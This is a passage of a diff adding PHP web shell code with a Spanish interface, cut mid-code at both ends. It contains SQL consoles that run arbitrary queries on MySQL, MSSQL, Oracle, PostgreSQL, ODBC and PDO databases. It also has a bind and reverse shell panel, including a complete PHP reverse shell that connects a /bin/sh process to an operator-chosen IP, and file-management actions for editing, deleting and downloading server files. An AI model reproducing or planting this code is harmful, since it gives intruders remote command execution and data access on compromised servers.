"<div>".$q_result."</div>"; + if($con) mysql_close($con); + } + elseif(isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mssql_query($query); + if($hasil){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + for($i=0;$i<mssql_num_fields($hasil);$i++) + $q_result .= "<th>".htmlspecialchars(mssql_field_name($hasil,$i))."</th>"; + $q_result .= "</tr>"; + while($rows=mssql_fetch_array($hasil)){ + $q_result .= "<tr>"; + for($j=0;$j<mssql_num_fields($hasil);$j++) + { + if($rows[$j] == "") $dataz = " "; + else $dataz = $rows[$j]; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + } + } + else $sqls = "EXEC sp_databases;"; + + $s_result .= " <form action=\"?db\" method=\"post\"> + <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> + <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> + <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> + <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea> + <p><input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p> + </form>"; + $s_result .= "<div>".$q_result."</div>"; + if($con) mssql_close($con); + } + elseif(isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $st = oci_parse($con, $query); + if(oci_execute($st)){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + for($i=1;$i<=oci_num_fields($st);$i++) + $q_result .= "<th>".htmlspecialchars(oci_field_name($st,$i))."</th>"; + + $q_result .= "</tr>"; + + while($rows=oci_fetch_array($st)){ + $q_result .= "<tr>"; + for($j=0;$j<oci_num_fields($st);$j++) + { + if($rows[$j] == "") $dataz = " "; + else $dataz = $rows[$j]; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + } + } + else $sqls = "SELECT * FROM user_tablespaces;"; + + $s_result .= " <form action=\"?db\" method=\"post\"> + <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> + <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> + <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> + <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea> + <p><input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p> + </form>"; + $s_result .= "<div>".$q_result."</div>"; + if($con) oci_close($con); + } + elseif(isset($_REQUEST['pgsqlcon']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = pg_query($query); + if($hasil){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + for($i=0;$i<pg_num_fields($hasil);$i++) + $q_result .= "<th>".htmlspecialchars(pg_field_name($hasil,$i))."</th>"; + $q_result .= "</tr>"; + + while($rows=pg_fetch_array($hasil)){ + $q_result .= "<tr>"; + for($j=0;$j<pg_num_fields($hasil);$j++) + { + if($rows[$j] == "") $dataz = " "; + else $dataz = $rows[$j]; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + } + } + } + elseif(isset($_REQUEST['odbccon']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = odbc_exec($con, $query); + if($hasil){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + for($i=1;$i<=odbc_num_fields($hasil);$i++) + $q_result .= "<th>".htmlspecialchars(odbc_field_name($hasil,$i))."</th>"; + $q_result .= "</tr>"; + + while($rows=odbc_fetch_array($hasil)){ + $q_result .= "<tr>"; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + } + } + else $sqls = ""; + + $s_result .= " <form action=\"?db\" method=\"post\"> + <input type=\"hidden\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /> + <input type=\"hidden\" name=\"odbcuser\" value=\"".$odbcuser."\" /> + <input type=\"hidden\" name=\"odbcpass\" value=\"".$odbcpass."\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea> + <p><input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p> + </form>"; + $s_result .= "<div>".$q_result."</div>"; + if($con) odbc_close($con); + } + else{ + if(isset($_REQUEST['pdocon'])){ + try{ + // create object + $mypdo = new PDO($pdodsn,$pdouser,$pdopass); + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + + if($hasil = $mypdo->query($query)){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + // workaround to get column name + $r = $hasil->fetch(PDO::FETCH_ASSOC); + $savefirstrow = array(); + foreach($r as $fn=>$fv){ + $q_result .= "<th>".htmlspecialchars($fn)."</th>"; + $savefirstrow[] = $fv; + } + $q_result .= "</tr><tr>"; + foreach($savefirstrow as $fv){ + $q_result .= "<td>".htmlspecialchars($fv)."</td>"; + } + $q_result .= "</tr>"; + while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){ + $q_result .= "<tr>"; + foreach($rows as $r) + { + if($r == "") $dataz = " "; + else $dataz = $r; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else{ + + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + + $q_result .= "</table>"; + } + } + } + else $sqls = ""; + + $s_result .= " <form action=\"?db\" method=\"post\"> + <input type=\"hidden\" name=\"pdodsn\" value=\"".$pdodsn."\" /> + <input type=\"hidden\" name=\"pdouser\" value=\"".$pdouser."\" /> + <input type=\"hidden\" name=\"pdopass\" value=\"".$pdopass."\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea> + <p><input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p> + </form>"; + $s_result .= "<div>".$q_result."</div>"; + } + catch (PDOException $uck) { + // do nothing... lazy + } + } + else{ + // mysql + $s_result .= "<div class=\"mybox\"><h2>Conectarse con MySQL Server</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost1\" value=\"".$sqlhost1."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser1\" value=\"".$sqluser1."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass1\" value=\"\" /></td></tr> + <tr><td>Puerto (opcional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$sqlport1."\" /></td></tr> + </table> + <input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + </form> + </div>"; + // mssql + $s_result .= "<div class=\"mybox\"><h2>Conectarse a MsSQL</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost2\" value=\"".$sqlhost2."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser2\" value=\"".$sqluser2."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass2\" value=\"\" /></td></tr> + <tr><td>Puerto (opcional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$sqlport2."\" /></td></tr> + </table> + <input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + </form> + </div>"; + + // postgresql + $s_result .= "<div class=\"mybox\"><h2>Conectarse a PostgreSQL</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost3\" value=\"".$sqlhost3."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser3\" value=\"".$sqluser3."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass3\" value=\"\" /></td></tr> + <tr><td>Puerto (opcional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$sqlport3."\" /></td></tr> + </table> + <input type=\"submit\" name=\"pgsqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + + // oracle + $s_result .= "<div class=\"mybox\"><h2>Conectarse a Oracle</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost4\" value=\"".$sqlhost4."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser4\" value=\"".$sqluser4."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass4\" value=\"\" /></td></tr> + <tr><td>Puerto (opcional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport4\" value=\"".$sqlport4."\" /></td></tr> + </table> + <input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + + // odbc + $s_result .= "<div class=\"mybox\"><h2>Conectarse usando ODBC</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcuser\" value=\"".$odbcuser."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"odbcpass\" value=\"\" /></td></tr> + </table> + <input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + + // pdo + $s_result .= "<div class=\"mybox\"><h2>Conectarse usando PDO</h2> + <form action=\"?db\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdodsn\" value=\"".$pdodsn."\" /></td></tr> + <tr><td>Usuario</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdouser\" value=\"".$pdouser."\" /></td></tr> + <tr><td>Contraseña</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"pdopass\" value=\"\" /></td></tr> + </table> + <input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + } + } + } // bind and reverse shell + elseif(isset($_REQUEST['rs'])){ + $rshost = $s_server_ip; + $rstarget = ""; + $d = $pwd; + if(isset($_REQUEST['d'])) $d = ss($_REQUEST['d']); + + $rsport = "133"; + // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c + $rspesan = "Preciona &#39; Ir ! &#39; para Ejecutar &#39; nc <i>server_ip</i> <i>port</i> &#39; en tu pc"; + $rspesanb = "Ejecutar &#39; nc -l -v -p <i>port</i> &#39; En tu computador presiona &#39; Ir ! &#39; Boton"; + + $rsport1 = $rsport; + $rsport2 = $rsport; + $rsport3 = $rsport; + + if(isset($_REQUEST['xbind_pl'])){ + if(isset($_REQUEST['sqlport1'])) $rsport1 = ss($_REQUEST['sqlport1']); + $rstarget = $rsport1; + $rsres = rs($s_win, cp($d), "xbind_pl" ,$xbind_pl, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xbind_py'])){ + if(isset($_REQUEST['sqlport2'])) $rsport2 = ss($_REQUEST['sqlport2']); + $rstarget = $rsport2; + $rsres = rs($s_win, cp($d), "xbind_py" ,$xmulti_py, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xbind_bin'])){ + if(isset($_REQUEST['sqlport3'])) $rsport3 = ss($_REQUEST['sqlport3']); + $rstarget = $rsport3; + if(!$s_win) $rsres = rs($s_win, cp($d), "xbind_bin" ,$xbind_c, $rstarget); + else $rsres = rs($s_win, cp($d), "xbind_bin" ,$wmulti_c, $rstarget); + $s_result .= $rsres; + } + + $rsportb1 = $rsport; + $rsportb2 = $rsport; + $rsportb3 = $rsport; + $rsportb4 = $rsport; + $rstarget1 = $s_my_ip; + $rstarget2 = $s_my_ip; + $rstarget3 = $s_my_ip; + $rstarget4 = $s_my_ip; + + if(isset($_REQUEST['xback_pl'])){ + if(isset($_REQUEST['sqlportb1'])) $rsportb1 = ss($_REQUEST['sqlportb1']); + if(isset($_REQUEST['rstarget1'])) $rstarget1 = ss($_REQUEST['rstarget1']); + + $rstarget = $rsportb1." ".$rstarget1; + $rsres = rs($s_win, cp($d), "xback_pl" ,$xback_pl, $rstarget); + $s_result .= $rsres; + + } + if(isset($_REQUEST['xback_py'])){ + if(isset($_REQUEST['sqlportb2'])) $rsportb2 = ss($_REQUEST['sqlportb2']); + if(isset($_REQUEST['rstarget2'])) $rstarget2 = ss($_REQUEST['rstarget2']); + + $rstarget = $rsportb2." ".$rstarget2; + $rsres = rs($s_win, cp($d), "xback_py" ,$xmulti_py, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xback_bin'])){ + if(isset($_REQUEST['sqlportb3'])) $rsportb3 = ss($_REQUEST['sqlportb3']); + if(isset($_REQUEST['rstarget3'])) $rstarget3 = ss($_REQUEST['rstarget3']); + + $rstarget = $rsportb3." ".$rstarget3; + if(!$s_win) $rsres = rs($s_win, cp($d), "xback_bin" ,$xback_c, $rstarget); + else $rsres = rs($s_win, cp($d), "xback_bin" ,$wmulti_c, $rstarget); + $s_result .= $rsres; + } + if(isset($_REQUEST['xback_php'])){ + if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']); + if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']); + $ip = $rstarget4; + $port = $rsportb4; + $chunk_size = 1337; + $write_a = null; + $error_a = null; + $shell = '/bin/sh'; + $daemon = 0; + $debug = 0; + if(function_exists('pcntl_fork')){ + $pid = pcntl_fork(); + if ($pid == -1) exit(1); + if ($pid) exit(0); + if (posix_setsid() == -1) exit(1); + $daemon = 1; + } + umask(0); + $sock = fsockopen($ip, $port, $errno, $errstr, 30); + if(!$sock) exit(1); + $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); + $process = proc_open($shell, $descriptorspec, $pipes); + if(!is_resource($process)) exit(1); + stream_set_blocking($pipes[0], 0); + stream_set_blocking($pipes[1], 0); + stream_set_blocking($pipes[2], 0); + stream_set_blocking($sock, 0); + while(1){ + if(feof($sock)) break; + if(feof($pipes[1])) break; + $read_a = array($sock, $pipes[1], $pipes[2]); + $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); + if(in_array($sock, $read_a)){ + $input = fread($sock, $chunk_size); + fwrite($pipes[0], $input); + } + if(in_array($pipes[1], $read_a)){ + $input = fread($pipes[1], $chunk_size); + fwrite($sock, $input); + } + if(in_array($pipes[2], $read_a)){ + $input = fread($pipes[2], $chunk_size); + fwrite($sock, $input); + } + } + fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]); + proc_close($process); + $rsres = " "; + $s_result .= $rsres; + } + $s_result .= "<div class=\"mybox\"><h2>Bind shell ( perl )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">IP del servidor</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost1\" value=\"".$rshost."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$rsport1."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xbind_pl\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Bind shell ( python )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">IP del servidor</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$rsport2."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xbind_py\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Bind shell ( bin )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">IP del servidor</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$rsport3."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xbind_bin\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( perl )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget1\" value=\"".$rstarget1."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb1\" value=\"".$rsportb1."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xback_pl\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( python )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget2\" value=\"".$rstarget2."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb2\" value=\"".$rsportb2."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xback_py\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( bin )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget3\" value=\"".$rstarget3."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb3\" value=\"".$rsportb3."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xback_bin\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( php )</h2> + <form action=\"?rs\" method=\"post\" /> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget4\" value=\"".$rstarget4."\" /></td></tr> + <tr><td>Puerto</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb4\" value=\"".$rsportb4."\" /></td></tr> + </table> + <input type=\"submit\" name=\"xback_php\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + </div>"; + } // view file + elseif(isset($_REQUEST['view'])){ + $f = ss($_REQUEST['view']); + if(isset($fnew) && (trim($fnew)!="")) $f = $fnew; + + if(is_file($f)){ + if(!$s_win && $s_posix){ + $name=posix_getpwuid(fileowner($f)); + $group=posix_getgrgid(filegroup($f)); + $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; + } + else { + $owner = $s_user; + } + $filn = basename($f); + $s_result .= "<table class=\"viewfile\"> + <tr><td>Nombre de archivo</td><td><span id=\"".cs($filn)."_link\">".$f."</span> + <form action=\"?d=".$pwd."&amp;view=".$f."\" method=\"post\" id=\"".cs($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> + <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> + <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" + onclick=\"tukar('".cs($filn)."_link','".cs($filn)."_form');\" /> + </form> + </td></tr> + <tr><td>Tamaño</td><td>".gs($f)."</td></tr> + <tr><td>Permisos</td><td>".gp($f)."</td></tr> + <tr><td>Grupo</td><td>".$owner."</td></tr> + <tr><td>Tiempo de creacion</td><td>".date("d-M-Y H:i",filectime($f))."</td></tr> + <tr><td>Ultima modificacion</td><td>".date("d-M-Y H:i",filemtime($f))."</td></tr> + <tr><td>Ultimo Acceso</td><td>".date("d-M-Y H:i",fileatime($f))."</td></tr> + <tr><td>Accion</td><td> + <a href=\"?d=".$pwd."&amp;edit=".$f."\">Editar</a> | + <a href=\"javascript:tukar('".cs($filn)."_link','".cs($filn)."_form');\">Renombrar</a> | + <a href=\"?d=".$pwd."&amp;delete=".$f."\">Borrar</a> | + <a href=\"?d=".$pwd."&amp;dl=".$f."\">Bajar</a>&nbsp;(<a href=\"?d=".$pwd."&amp;dlgzip=$f\">Zip</a>)</td></tr> + <tr><td>Ver</td><td> + <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=text\">Texto</a> | + <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=code\">Codigo</a> | + <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=image\">Imagen</a></td></tr> + </table> + "; + $t = ""; + $iinfo = getimagesize($f); + if(substr($filn,-3,3) == "php") $t = "code"; + if(is_array($iinfo)) $t = 'image'; + + if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']); + + if($t=="image"){ + $width = (int) $iinfo[0]; + $height = (int) $iinfo[1]; + $imginfo = "Image type = ( ".$iinfo['mime']." )<br /> + Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />"; + if($width > 800){ + $width = 800; + $imglink = "<p><a href=\"?d=".$pwd."&amp;img=".$filn."\" target=\"_blank\"> + <span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>"; + } + else $imglink = ""; + + $s_result .= "<div class=\"viewfilecontent\" style=\"text-align:center;\">".$imglink." + <img width=\"".$width."\" src=\"?d=".$pwd."&amp;img=".$filn."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>"; + + } + elseif($t=="code"){ + $s_result .= "<div class=\"viewfilecontent\">"; + $file = wordwrap(file_get_contents($f),"240","\n"); + $buff = highlight_string($file,true); + $old = array("0000BB","000000","FF8000","DD0000", "007700"); + $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); + $buff = str_replace($old,$new, $buff); + $s_result .= $buff; + $s_result .= "</div>"; + } + else { + $s_result .= "<div class=\"viewfilecontent\">"; + $s_result .= nl2br(htmlentities((file_get_contents($f)))); + $s_result .= "</div>"; + } + } + elseif(is_dir($f)){ + 